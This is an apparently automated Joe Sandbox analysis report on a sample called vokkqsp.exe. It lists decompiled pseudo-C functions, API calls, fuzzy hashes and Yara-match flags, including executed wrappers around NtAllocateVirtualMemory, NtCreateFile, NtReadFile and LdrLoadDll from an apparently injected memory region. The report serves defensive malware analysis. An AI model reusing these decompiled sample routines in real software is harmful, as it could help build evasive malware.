							_v16 = _t60;
							_t61 = _v28;
							do {
								__eflags = _t61;
								if(__eflags < 0) {
									L12:
									_t62 = E0042F4F4(_t67, _t83, _t75, _t81);
									_t84 = _t84 + 0x10;
									__eflags = _t62 - 0xffffffff;
									if(_t62 == 0xffffffff) {
										__eflags =  *((char*)(_t81 + 0x24));
										if( *((char*)(_t81 + 0x24)) != 0) {
											__eflags =  *((intOrPtr*)(_t81 + 0x20)) - 5;
											if( *((intOrPtr*)(_t81 + 0x20)) == 5) {
												 *((char*)(_t81 + 0x1c)) = 1;
												 *((intOrPtr*)(_t81 + 0x18)) = 0xd;
											}
										}
										__eflags =  *((char*)(_t81 + 0x1c));
										if( *((char*)(_t81 + 0x1c)) == 0) {
											_t80 = 0;
											__eflags = 0;
										} else {
											_t80 =  *((intOrPtr*)(_t81 + 0x18));
										}
										goto L24;
									}
									asm("cdq");
									_t75 = _v8 - _t62;
									_t61 = _v12;
									_v8 = _t75;
									asm("sbb eax, edx");
									_v12 = _t61;
									__eflags = _t61;
									if(__eflags > 0) {
										L11:
										_t75 = 0x1000;
										goto L12;
									}
									if(__eflags < 0) {
										break;
									}
									goto L15;
								}
								if(__eflags > 0) {
									goto L11;
								}
								__eflags = _t75 - 0x1000;
								if(_t75 < 0x1000) {
									goto L12;
								}
								goto L11;
								L15:
								__eflags = _t75;
							} while (_t75 != 0);
							E0040E20E(_t75, _t67, _v16);
							E0041072C(_t83);
							_t84 = _t84 + 0xc;
							goto L17;
						} else {
							_t66 = _a16;
							_t80 = 0xc;
							 *((char*)(_t66 + 0x1c)) = 1;
							 *((intOrPtr*)(_t66 + 0x18)) = _t80;
							L24:
							E0041072C(_t83);
							goto L36;
						}
					} else {
						__eflags = _t69;
						if(__eflags > 0) {
							goto L17;
						}
						if(__eflags < 0) {
							goto L28;
						}
						__eflags = _t53;
						if(_t53 >= 0) {
							goto L17;
						}
						goto L28;
					}
				}
			}

0x004358fb
0x00435904
0x0043590c
0x00435913
0x00435921
0x00435a73
0x00435a76
0x00435a7a
0x00435a83
0x00000000
0x00435a83
0x00000000
0x00435936
0x00435936
0x00435939
0x0043593c
0x0043593f
0x00435942
0x00435944
0x00435a22
0x00435a2b
0x00435a32
0x00435a35
0x00435a38
0x00435a4d
0x00435a53
0x00435a55
0x004359e4
0x004359e4
0x00435a84
0x00435a8f
0x00435a9d
0x00435a9d
0x00435a57
0x00435a5a
0x00435a62
0x00435a66
0x00435a69
0x00435a6a
0x00435a6e
0x00000000
0x00435a6e
0x00435a3a
0x00435a3d
0x00435a41
0x00000000
0x00000000
0x00435a7c
0x00435a7c
0x00000000
0x00435a7c
0x0043594a
0x00435960
0x00435963
0x00435966
0x00435980
0x00435985
0x0043598a
0x0043598d
0x00435990
0x00435993
0x00435993
0x00435995
0x004359a6
0x004359aa
0x004359af
0x004359b2
0x004359b5
0x004359eb
0x004359ef
0x004359f1
0x004359f5
0x004359f7
0x004359fb
0x004359fb
0x004359f5
0x00435a02
0x00435a06
0x00435a0d
0x00435a0d
0x00435a08
0x00435a08
0x00435a08
0x00000000
0x00435a06
0x004359ba
0x004359bb
0x004359bd
0x004359c0
0x004359c3
0x004359c5
0x004359c8
0x004359ca
0x004359a1
0x004359a1
0x00000000
0x004359a1
0x004359cc
0x00000000
0x00000000
0x00000000
0x004359cc
0x00435997
0x00000000
0x00000000
0x00435999
0x0043599f
0x00000000
0x00000000
0x00000000
0x004359ce
0x004359ce
0x004359ce
0x004359d6
0x004359dc
0x004359e1
0x00000000
0x00435968
0x00435968
0x0043596d
0x0043596e
0x00435972
0x00435a0f
0x00435a10
0x00000000
0x00435a15
0x00435a18
0x00435a18
0x00435a1a
0x00000000
0x00000000
0x00435a1c
0x00000000
0x00000000
0x00435a1e
0x00435a20
0x00000000
0x00000000
0x00000000
0x00435a20
0x0043594a

APIs

SetEndOfFile.KERNEL32(00000000,mB,00000000,0042E8B0,?,?,?,?,?,004358E9,00000000,0042E8B0,0042E56D,?,00000000,0042E8B0), ref: 00435A4D
GetLastError.KERNEL32(?,?,?,?,?,004358E9,00000000,0042E8B0,0042E56D,?,00000000,0042E8B0), ref: 00435A5A

Strings

mB, xrefs: 0043590C

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: ErrorFileLast
String ID: mB
API String ID: 734332943-774331627
Opcode ID: 6eefc9189885c32fc259c3aa5a90e29a227daa2a2ed7b6b1a2b73a68ef18d50d
Instruction ID: 841d24fc0c8807ef86aaff69bb98071377b6e6ad07ba5b0518031c951c8d5d8c
Opcode Fuzzy Hash: 6eefc9189885c32fc259c3aa5a90e29a227daa2a2ed7b6b1a2b73a68ef18d50d
Instruction Fuzzy Hash: 51514671900A45EBDB14AF6ACC86B9F7B70AF4C324F14121BF411A72D1D378E891DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401D6F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401D6F() {
				intOrPtr _v38;
				short _v40;
				intOrPtr _v52;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				struct tagPD _v72;
				intOrPtr _t14;
				intOrPtr _t17;
				intOrPtr _t23;
				void* _t24;

				E00403D00(_t24,  &_v72, 0, 0x42);
				_t14 =  *0x44cf04; // 0x0
				_v68 = _t14;
				_v64 =  *0x44e0ec;
				_v60 =  *0x44e0f0;
				_t17 =  *0x44cf00; // 0x0
				_v38 = _t17;
				_v72 = 0x42;
				_v40 = 1;
				_v52 = 0x40;
				PrintDlgW( &_v72);
				 *0x44e0ec = _v64;
				_t23 = _v60;
				 *0x44e0f0 = _t23;
				return _t23;
			}

0x00401d7d
0x00401d82
0x00401d8a
0x00401d92
0x00401d9a
0x00401d9d
0x00401da2
0x00401da8
0x00401daf
0x00401db7
0x00401dbe
0x00401dc7
0x00401dcc
0x00401dcf
0x00401dd7

APIs

PrintDlgW.COMDLG32(00000042), ref: 00401DBE

Strings

B, xrefs: 00401DA8
@, xrefs: 00401DB7

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: Print
String ID: @$B
API String ID: 3558298466-3873543624
Opcode ID: 2cf4c75701cb66347560561bb5252a442bb0f739d995148a1c3d7694e69de995
Instruction ID: 253eb8d495a284d28f071347de1513ae55e13a5b5cecf8d6f97c033e715fa440
Opcode Fuzzy Hash: 2cf4c75701cb66347560561bb5252a442bb0f739d995148a1c3d7694e69de995
Instruction Fuzzy Hash: 7E01C9B8D012189FCB40DFA9E881B8DBBF8BB09704F00413AFA18E3350E77569158F59

Uniqueness

Uniqueness Score: -1.00%

Function 00401418 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00401418(intOrPtr __ecx) {
				intOrPtr _v32;
				intOrPtr _v40;
				intOrPtr _v60;
				signed int _v64;
				intOrPtr _v88;
				struct tagOFNA _v92;
				signed int _t12;
				void* _t16;
				intOrPtr _t17;
				signed int _t18;

				_t17 = __ecx;
				E00403D00(_t16,  &_v92, 0, 0x58);
				_v88 = _t17;
				_v92 = 0x58;
				_t18 = L"output.prn";
				_v40 = 0x806;
				_v64 = _t18;
				_v60 = 0x104;
				_v32 = L"prn";
				_t12 = GetSaveFileNameW( &_v92);
				asm("sbb eax, eax");
				return  ~_t12 & _t18;
			}

0x00401424
0x00401429
0x00401431
0x00401437
0x0040143e
0x00401443
0x0040144a
0x0040144e
0x00401455
0x0040145c
0x00401464
0x0040146c

APIs

GetSaveFileNameW.COMDLG32(?), ref: 0040145C

Strings

X, xrefs: 00401437
output.prn, xrefs: 0040143E

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: FileNameSave
String ID: X$output.prn
API String ID: 1917019420-3723476453
Opcode ID: 81484adba988873fd80313cae7800892f5692f0ec32502c2687beb841ae587c5
Instruction ID: b9ee8c6855b88bc6d624417e1fe50689698af1f1e13dcf762283228afad99cd2
Opcode Fuzzy Hash: 81484adba988873fd80313cae7800892f5692f0ec32502c2687beb841ae587c5
Instruction Fuzzy Hash: 23F05EB1D4025C5BDB009FD0EC4A78EBFB8DB00715F00406AE904BB280E7B8491C8BC4

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vokkqsp.exePID: 2448, Parent PID: 1240COMMON

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	2.6%
Signature Coverage:	4.7%
Total number of Nodes:	643
Total number of Limit Nodes:	77

Executed Functions

Function 0041E7CD Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041E7CD(void* _a4, PVOID* _a8, long _a12, long* _a16, long _a20, long _a24) {
				intOrPtr _v0;
				long _t14;

				_t10 = _v0;
				E0041F243( *((intOrPtr*)(_v0 + 0x14)), _t10, _t10 + 0xa8c,  *((intOrPtr*)(_v0 + 0x14)), 0, 0x30);
				_t14 = NtAllocateVirtualMemory(_a4, _a8, _a12, _a16, _a20, _a24); // executed
				return _t14;
			}

0x0041e7d6
0x0041e7ea
0x0041e80c
0x0041e810

APIs

NtAllocateVirtualMemory.NTDLL(00010000,?,00000000,?,00000004,00001000,00000000), ref: 0041E80C

Strings

($, xrefs: 0041E7CD

Memory Dump Source

Source File: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_vokkqsp.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID: ($
API String ID: 2167126740-1917586925
Opcode ID: 41196e49ac4ea828d442559080510825f434a657ed3d3ee46247645fae91569f
Instruction ID: 75c01ba8265e86b6e799f606f6827c4ef4659bfb27b3c208fb82fe6623ca5877
Opcode Fuzzy Hash: 41196e49ac4ea828d442559080510825f434a657ed3d3ee46247645fae91569f
Instruction Fuzzy Hash: 63F015B6210208BBCB14DF89DC81EEB77ADAF88754F118159BE08A7241C630FD11CBB4

Uniqueness

Uniqueness Score: -1.00%

Function 0041E5ED Relevance: 1.6, APIs: 1, Instructions: 70
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E0041E5ED(char __ecx, char* __edx, void* __eflags, long _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				intOrPtr* __esi;
				void* __ebp;
				void* _t35;
				intOrPtr* _t36;

				asm("out 0x1e, eax");
				 *__edx = __ecx;
				if(__eflags > 0) {
					asm("in al, dx");
					_t23 = _a8;
					_t3 = _t23 + 0xa68; // 0xa90
					_t36 = _t3;
					E0041F243(_a8[5], _t23, _t36, _a8[5], 0, 0x27);
					return  *((intOrPtr*)( *_t36))(_a12, _a16, _a20, _a24, _a28, _t35);
				} else {
					__ebp = __esp;
					__eax = _a4;
					__ecx =  *((intOrPtr*)(__eax + 0x14));
					_t11 = __eax + 0xa6c; // 0xa6c
					__esi = _t11;
					__eax = E0041F243( *((intOrPtr*)(__eax + 0x14)), __eax, __esi,  *((intOrPtr*)(__eax + 0x14)), 0, 0x28);
					__edx = _a48;
					__eax = _a44;
					__ecx = _a40;
					__edx = _a36;
					__eax = _a32;
					__ecx = _a28;
					__edx = _a24;
					__eax = _a20;
					__ecx = _a16;
					__edx = _a12;
					__eax = _a8;
					__ecx =  *__esi;
					__eax = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
					__esi = __esi;
					__ebp = __ebp;
					return __eax;
				}
			}

0x0041e5ed
0x0041e5ef
0x0041e5f1
0x0041e5b5
0x0041e5b6
0x0041e5c2
0x0041e5c2
0x0041e5ca
0x0041e5ec
0x0041e5f3
0x0041e5f4
0x0041e5f6
0x0041e5f9
0x0041e602
0x0041e602
0x0041e60a
0x0041e60f
0x0041e612
0x0041e615
0x0041e61c
0x0041e620
0x0041e624
0x0041e628
0x0041e62c
0x0041e630
0x0041e634
0x0041e638
0x0041e63c
0x0041e640
0x0041e642
0x0041e643
0x0041e644
0x0041e644

APIs

NtCreateFile.NTDLL(00000060,00000000,?,0041935F,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,0041935F,?,00000000,00000060,00000000,00000000), ref: 0041E640

Memory Dump Source

Source File: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_vokkqsp.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c2940defc1f95fd30518e2f85d8637610e3b44d043bb621822615bc0800cbd0f
Instruction ID: bf58b033f4df4117e7473d6230dd595e805d3fddb0b0a0f6bc399e62227eb295
Opcode Fuzzy Hash: c2940defc1f95fd30518e2f85d8637610e3b44d043bb621822615bc0800cbd0f
Instruction Fuzzy Hash: C71112B2604208BFCB08DF98DC85EEB37ADEF8C754F048258BA0C97241D631E951CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF23 Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040CF23(void* __eflags, void* _a4, intOrPtr _a8) {
				char* _v8;
				struct _EXCEPTION_RECORD _v12;
				struct _OBJDIR_INFORMATION _v16;
				char _v536;
				void* _t15;
				struct _OBJDIR_INFORMATION _t17;
				struct _OBJDIR_INFORMATION _t18;
				void* _t30;
				void* _t31;
				void* _t32;

				_t24 = _a8;
				_v8 =  &_v536;
				_t15 = E00420F13( &_v12, 0x104, _a8);
				_t31 = _t30 + 0xc;
				if(_t15 != 0) {
					_t17 = E00421433(_v8, _t24, __eflags, _v8);
					_t32 = _t31 + 4;
					__eflags = _t17;
					if(_t17 != 0) {
						E004216B3( &_v12, 0);
						_t32 = _t32 + 8;
					}
					_t18 = E0041F7B3(_v8);
					_v16 = _t18;
					__eflags = _t18;
					if(_t18 == 0) {
						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
						return _v16;
					}
					return _t18;
				} else {
					return _t15;
				}
			}

0x0040cf2c
0x0040cf3f
0x0040cf42
0x0040cf47
0x0040cf4c
0x0040cf56
0x0040cf5b
0x0040cf5e
0x0040cf60
0x0040cf68
0x0040cf6d
0x0040cf6d
0x0040cf74
0x0040cf7c
0x0040cf7f
0x0040cf81
0x0040cf95
0x00000000
0x0040cf97
0x0040cf9d
0x0040cf51
0x0040cf51
0x0040cf51

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040CF95

Memory Dump Source

Source File: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_vokkqsp.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 2d8971ab7e40216f1ab7880a6b3bd7b14f9e717b1ef25046fbf816b69d0e01bc
Instruction ID: 5e04f6221a37e6357fdc510ce1da2c9258563d4a4a23712c115eaecd70357e5d
Opcode Fuzzy Hash: 2d8971ab7e40216f1ab7880a6b3bd7b14f9e717b1ef25046fbf816b69d0e01bc
Instruction Fuzzy Hash: D30152B1E4010EABDF10DBA1DD82F9EB3789B54308F0042A6E908A7280F634EB448B95

Uniqueness

Uniqueness Score: -1.00%

Function 0041E69D Relevance: 1.5, APIs: 1, Instructions: 42
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtReadFile.NTDLL(00419523,004149F3,FFFFFFFF,0041900D,00000002,?,00419523,00000002,0041900D,FFFFFFFF,004149F3,00419523,00000002,00000000), ref: 0041E6E8

Memory Dump Source

Source File: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_vokkqsp.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 32c8df3c70d67261ae50247031a770c3232371363107fb8c2be793b250d4e9c9
Instruction ID: afefd89c63c408e271d207366b207e4e6e1d150e5249734bbce09756756f7a8e
Opcode Fuzzy Hash: 32c8df3c70d67261ae50247031a770c3232371363107fb8c2be793b250d4e9c9
Instruction Fuzzy Hash: 2FF014B6200208AFCB04DF9ACC84EEB77A9EF8C754F118258BE0D97240D630E941CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041E5F3 Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041E5F3(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				long _t21;

				_t3 = _a4 + 0xa6c; // 0xa6c
				E0041F243( *((intOrPtr*)(_a4 + 0x14)), _t15, _t3,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x28);
				_t21 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
				return _t21;
			}

0x0041e602
0x0041e60a
0x0041e640
0x0041e644

APIs

NtCreateFile.NTDLL(00000060,00000000,?,0041935F,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,0041935F,?,00000000,00000060,00000000,00000000), ref: 0041E640

Memory Dump Source

Source File: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_vokkqsp.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ff6043353ceb920c5c6b95fa545531b6d027e3119837083dac9160f643623646
Instruction ID: 896d7442baf9be4756d905739e1f90aa296932759f722aab2a73c44ca3a6dc04
Opcode Fuzzy Hash: ff6043353ceb920c5c6b95fa545531b6d027e3119837083dac9160f643623646
Instruction Fuzzy Hash: D3F0BDB2204208ABCB08CF89DC85EEB37ADAF8C754F018248BA0997241C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6A3 Relevance: 1.5, APIs: 1, Instructions: 36
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E0041E6A3(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t18;
				intOrPtr* _t27;

				_t3 = _a4 + 0xa74; // 0xa76
				_t27 = _t3;
				E0041F243( *((intOrPtr*)(_a4 + 0x14)), _t13, _t27,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x2a);
				_t18 =  *((intOrPtr*)( *_t27))(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40); // executed
				return _t18;
			}

0x0041e6b2
0x0041e6b2
0x0041e6ba
0x0041e6e8
0x0041e6ec

APIs

NtReadFile.NTDLL(00419523,004149F3,FFFFFFFF,0041900D,00000002,?,00419523,00000002,0041900D,FFFFFFFF,004149F3,00419523,00000002,00000000), ref: 0041E6E8

Memory Dump Source

Source File: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_vokkqsp.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 2d12266bc7a0f10b7c649805d53fb3a44196c039d978ed09e5374c20c4afdbd2
Instruction ID: a52c969a109bbc10a8a1a781a5aa37a0394cb6bb67041f9c77339075023d92d4
Opcode Fuzzy Hash: 2d12266bc7a0f10b7c649805d53fb3a44196c039d978ed09e5374c20c4afdbd2
Instruction Fuzzy Hash: 4EF0FFB2200208ABCB04DF89DC84EEB77ADAF8C714F018248BA0DA7241C630E8118BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0041E7D3 Relevance: 1.5, APIs: 1, Instructions: 30
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041E7D3(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
				long _t14;

				E0041F243( *((intOrPtr*)(_a4 + 0x14)), _a4, _t10 + 0xa8c,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x30);
				_t14 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
				return _t14;
			}

0x0041e7ea
0x0041e80c
0x0041e810

APIs

NtAllocateVirtualMemory.NTDLL(00010000,?,00000000,?,00000004,00001000,00000000), ref: 0041E80C

Memory Dump Source

Source File: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_vokkqsp.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: c6dcf1b2085be2652a56e81aa7d61fbadce5d8b21ef35205e1b29a90b99b07af
Instruction ID: 27bf8a3fb07fce7131f8418fc0fb77bd2b10fdbd594230fdd84e61d9d7c2cc87
Opcode Fuzzy Hash: c6dcf1b2085be2652a56e81aa7d61fbadce5d8b21ef35205e1b29a90b99b07af
Instruction Fuzzy Hash: BBF01EB6200208ABCB18DF89DC81EEB77ADAF88754F018159BE0897241C630F911CBB4

Uniqueness

Uniqueness Score: -1.00%

Function 0041E723 Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041E723(intOrPtr _a4, void* _a8) {
				long _t8;

				E0041F243( *((intOrPtr*)(_a4 + 0x14)), _a4, _t5 + 0xa7c,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x0041e73a
0x0041e748
0x0041e74c

APIs

NtClose.NTDLL(00410328,00000000,?,00410328,?,?,?,?,?,?,?,00000000,?,00000000), ref: 0041E748

Memory Dump Source

Source File: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_vokkqsp.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 830b885a3245526015f54344d79e5b01ded446f9b8a9012b98a688606644bbf8
Instruction ID: 9c4ed7dd7ad381e5692115c9670513ce9f617838e6ca6e8741f9ee3af2ac2269
Opcode Fuzzy Hash: 830b885a3245526015f54344d79e5b01ded446f9b8a9012b98a688606644bbf8
Instruction Fuzzy Hash: 3CD01776604214ABD610EBA9DC89FD77BACDF48664F0184A9BA1C5B242C571FA0086E1

Uniqueness

Uniqueness Score: -1.00%

Function 00AA98F0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00AA98FA

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ca9673f3ae0644b396a1594a7c4336876b21773c0ba6c7f527f01b7f528083ec
Instruction ID: 3d1615de6c56f06f0ff5e36b46861abd4723f7fadd185fb075f4862fd2935f2c
Opcode Fuzzy Hash: ca9673f3ae0644b396a1594a7c4336876b21773c0ba6c7f527f01b7f528083ec
Instruction Fuzzy Hash: E190026160100503D24171694404656040ED7D1381F91C032A1014555FDA659992F171

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9860 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00AA986A

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 474b4846cb7e3150ab55ec08d1e9969b35fb9b48e5218bfae338c75501cddc2d
Instruction ID: 6df4891800f47df5f9e08221899be906ae1fcf80be08c15367bcbe41161ac993
Opcode Fuzzy Hash: 474b4846cb7e3150ab55ec08d1e9969b35fb9b48e5218bfae338c75501cddc2d
Instruction Fuzzy Hash: 0590027120100413D25161694504747040DD7D1381F91C432A0414558EE6969952F161

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9840 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00AA984A

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: df0676b926bb5472795a346498651246e71f42d804a780eeda38b72e3b04fadc
Instruction ID: 331cc2321284339b9588ba9105258c812fadb2e59b93484b8013687dd2800182
Opcode Fuzzy Hash: df0676b926bb5472795a346498651246e71f42d804a780eeda38b72e3b04fadc
Instruction Fuzzy Hash: 15900261242041535685B1694404547440AE7E1381B91C032A1404950DD566A856E661

Uniqueness

Uniqueness Score: -1.00%

Function 00AA99A0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00AA99AA

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ae21ca3e4c32c633432756de54acf6eeefc6ae974910485529e618fc5eac9993
Instruction ID: f49a0107b9a24f2d1451da864ef388e1cba7168369bc5c709a1ee77fd4b7d807
Opcode Fuzzy Hash: ae21ca3e4c32c633432756de54acf6eeefc6ae974910485529e618fc5eac9993
Instruction Fuzzy Hash: 269002A134100443D24061694414B460409D7E2341F51C035E1054554ED659DC52B166

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9910 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00AA991A

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a82f4fe4707a46e40235d3fcdbe986c6af214773b6a1d2925c56fe3a1d79f335
Instruction ID: a2b8023129af706a9904be323226642d2fc4e06943a47bfcf3b7b67adb9b6ac0
Opcode Fuzzy Hash: a82f4fe4707a46e40235d3fcdbe986c6af214773b6a1d2925c56fe3a1d79f335
Instruction Fuzzy Hash: 879002B120100403D280716944047860409D7D1341F51C031A5054554FD6999DD5B6A5

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9A20 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00AA9A2A

